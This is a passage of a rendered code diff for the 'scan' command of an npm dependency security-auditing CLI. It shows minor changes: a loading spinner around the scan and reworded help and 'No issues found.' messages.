if (silent) return;
|
|
83
86
|
if (results.length === 0) {
|
|
84
|
-
output.success('No
|
|
87
|
+
output.success('No issues found.');
|
|
85
88
|
return;
|
|
86
89
|
}
|
|
87
90
|
for (const r of results) {
|
package/src/commands/scan.js
CHANGED
|
@@ -10,7 +10,7 @@ module.exports = {
|
|
|
10
10
|
|
|
11
11
|
help() {
|
|
12
12
|
return `
|
|
13
|
-
npa scan — Scan dependencies for
|
|
13
|
+
npa scan — Scan dependencies for security issues
|
|
14
14
|
|
|
15
15
|
Usage:
|
|
16
16
|
npa scan [package] [options]
|
|
@@ -31,7 +31,10 @@ module.exports = {
|
|
|
31
31
|
|
|
32
32
|
async run({ args, flags, config, cwd }) {
|
|
33
33
|
const packages = args.filter(a => !a.startsWith('-'));
|
|
34
|
+
const spinner = !flags.json && !config.silent ? output.createSpinner('Auditing packages...') : null;
|
|
35
|
+
if (spinner) spinner.start();
|
|
34
36
|
const results = await scan({ cwd, config, noDev: flags.noDev, verbose: flags.verbose, packages: packages.length > 0 ? packages : null });
|
|
37
|
+
if (spinner) spinner.stop();
|
|
35
38
|
const hasIssues = results.some(r => r.verdict !== 'OK');
|
|
36
39
|
const silent = config.silent && !hasIssues;
|
|
37
40
|
|
|
@@ -54,7 +57,7 @@ module.exports = {
|
|
|
54
57
|
function printResults(results, silent = false) {
|
|
55
58
|
if (silent) return;
|
|
56
59
|
if (results.length === 0) {
|
|
57
|
-
output.success('No
|
|
60
|
+
output.success('No issues found.');
|
|
58
61
|
return;
|
|
59
62
|
}
|
|
60
63
|
for (const r of results) {
|